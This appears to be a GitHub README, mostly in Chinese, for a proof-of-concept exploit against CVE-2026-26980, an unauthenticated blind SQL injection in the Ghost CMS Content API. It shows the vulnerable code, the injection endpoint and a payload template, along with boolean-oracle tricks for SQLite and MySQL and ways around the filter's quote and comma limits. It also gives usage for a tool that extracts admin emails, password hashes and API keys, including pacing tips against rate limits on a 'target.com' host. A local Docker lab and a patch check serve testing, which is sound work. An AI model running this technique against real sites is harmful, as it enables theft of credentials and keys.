n0bitaemon/CVE-2026-26980-PoC

GitHub: n0bitaemon/CVE-2026-26980-PoC

针对 Ghost CMS Content API 盲注 SQL 注入漏洞(CVE-2026-26980)的 PoC 利用工具,可在无需身份验证的情况下通过布尔盲注提取数据库敏感信息。

Stars: 0 | Forks: 0

# CVE-2026-26980 — Ghost CMS Content API 盲注 SQL 注入 **受影响版本:** Ghost 3.24.0 – 6.19.0 **修复版本:** Ghost 6.19.1 **身份验证要求:** 无需身份验证 — Content API key 是公开的 **影响:** 未经身份验证读取整个数据库(凭据、API key) ## 漏洞 `slug-filter-order.js` 将用户提供的 slug 值直接内插到原始 SQL `ORDER BY` 子句中,而不是使用参数化绑定。 ``` // VULNERABLE — Ghost < 6.19.1 const slugList = slugs.map(s => `'${s}'`).join(','); return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`; // ^^^^^^^^^^^ raw string interpolation // FIXED — Ghost 6.19.1 knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]); ``` **注入点:** ``` GET /ghost/api/content/posts/?key=&filter=slug:[,] ``` **Payload 模板:** ``` slug:['||||',] ``` ## Oracle 注入的表达式充当基于错误的布尔 oracle。 | 引擎 | TRUE | FALSE | |--------|------|-------| | SQLite | `hex(randomblob(10^15))` → OOM → **HTTP 500** | `ELSE 0` → **HTTP 200** | | MySQL | `THEN 0` → **HTTP 200** | `EXP(710)` 溢出 → **HTTP 500** | **NQL 约束** — 括号内的 SQL 表达式不能包含单引号 (`'`) 或逗号 (`,`): | 问题 | SQLite 解决方案 | MySQL 解决方案 | |---------|----------------|----------------| | 字符串字面量 `'content'` | `CHAR(99)\|\|CHAR(111)\|\|...` | `0x636F6E74656E74` | | 位置 N 的字符 | 基于前缀的字符串比较 | `ASCII(SUBSTR(x FROM N FOR 1))` | ## 用法 ``` python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [data flags] [options] Required: --url URL Ghost base URL (e.g. http://localhost:2368) --key KEY Content API key Optional: --slug SLUG Anchor slug (auto-discovered from API if omitted) --dbms {auto,sqlite,mysql} DB engine (default: auto-detect) --delay N Seconds between requests — use to avoid HTTP 429 (default: 0) --proxy URL HTTP proxy (e.g. http://127.0.0.1:8080) (default: none) --validate-fix Test if the target is patched, then exit Data flags (at least one required): --email User email(s) --hash User bcrypt hash(es) --content-key Content API key(s) --admin-key Admin API key(s) --all Shorthand for --email --hash --content-key --admin-key Modifier: --all-records Extract ALL records for the selected flag(s) instead of first only ``` ### 示例 ``` # 提取第一个管理员邮箱 + hash (无代理) python3 exploit/exploit.py \ --url http://localhost:2368 \ --key \ --email --hash --no-proxy # 提取所有内容,逐条记录 python3 exploit/exploit.py \ --url http://localhost:2368 \ --key \ --all --no-proxy # 提取所有 Content API 密钥 python3 exploit/exploit.py \ --url http://localhost:2368 \ --key \ --content-key --all-records # 提取所有数据类型的所有记录 python3 exploit/exploit.py \ --url http://localhost:2368 \ --key \ --all --all-records # 通过 Burp 代理路由 python3 exploit/exploit.py \ --url http://localhost:2368 \ --key \ --all --proxy http://127.0.0.1:8080 # 强制使用 MySQL 引擎,添加延迟以避免触发 rate limiting python3 exploit/exploit.py \ --url http://target.com \ --key \ --all --dbms mysql --delay 0.5 # 验证已修补版本不可利用 python3 exploit/exploit.py \ --url http://localhost:2369 \ --key \ --validate-fix ``` ### 速率限制 (HTTP 429) Ghost 默认对 Content API 请求进行速率限制。选项: 1. 传递 `--delay 0.5` 以在请求之间添加延迟 2. 在 docker-compose 环境中设置 `API_RATE_LIMIT_ENABLED: "false"` 并重启 ## 参考 - Ghost 安全公告:[GHSA-w52v-v783-gw97](https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97) - NVD:[CVE-2026-26980](https://nvd.nist.gov/vuln/detail/CVE-2026-26980) - 修复 diff:Ghost `6.18.0` → `6.19.1` 中的 `slug-filter-order.js` ## 实验环境设置 ### 要求 - Docker + Docker Compose - Python 3.9+,执行 `pip install requests` ### 目录结构 ``` ghost-cve-2026-26980/ ├── mysql_docker-compose.yml # Ghost + MySQL 8.0 ├── sqlite_docker-compose.yml # Ghost + SQLite (default) ├── mysql-init/ │ └── 01-init.sql # creates ghost_patch DB, grants access ├── vulnerable/ │ └── Dockerfile # Ghost 6.18.0 ├── patched/ │ └── Dockerfile # Ghost 6.19.1 └── exploit/ └── exploit.py ``` 两个 compose 文件均暴露: - `http://localhost:2368` — 存在漏洞 (Ghost 6.18.0) - `http://localhost:2369` — 已修补 (Ghost 6.19.1) ### 使用 SQLite 启动 ``` docker compose -f sqlite_docker-compose.yml up -d ``` ### 使用 MySQL 启动 ``` docker compose -f mysql_docker-compose.yml up -d ``` MySQL 凭据:`host=localhost:3306 user=ghost password=ghostpass` 数据库:`ghost_vuln` (端口 2368) / `ghost_patch` (端口 2369) ### 首次运行设置 等待约 60 秒让 Ghost 初始化,然后: 1. 访问 `http://localhost:2368/ghost` — 创建管理员账户并发布至少一篇文章 2. 从 Ghost Admin → Settings → Integrations 复制 **Content API key** ### 重置实验环境 ``` # SQLite docker compose -f sqlite_docker-compose.yml down -v docker compose -f sqlite_docker-compose.yml up -d # MySQL docker compose -f mysql_docker-compose.yml down -v docker compose -f mysql_docker-compose.yml up -d ```
标签:CISA项目, Ghost CMS, Python, Web安全, 无后门, 版权保护, 蓝队分析, 请求拦截, 逆向工具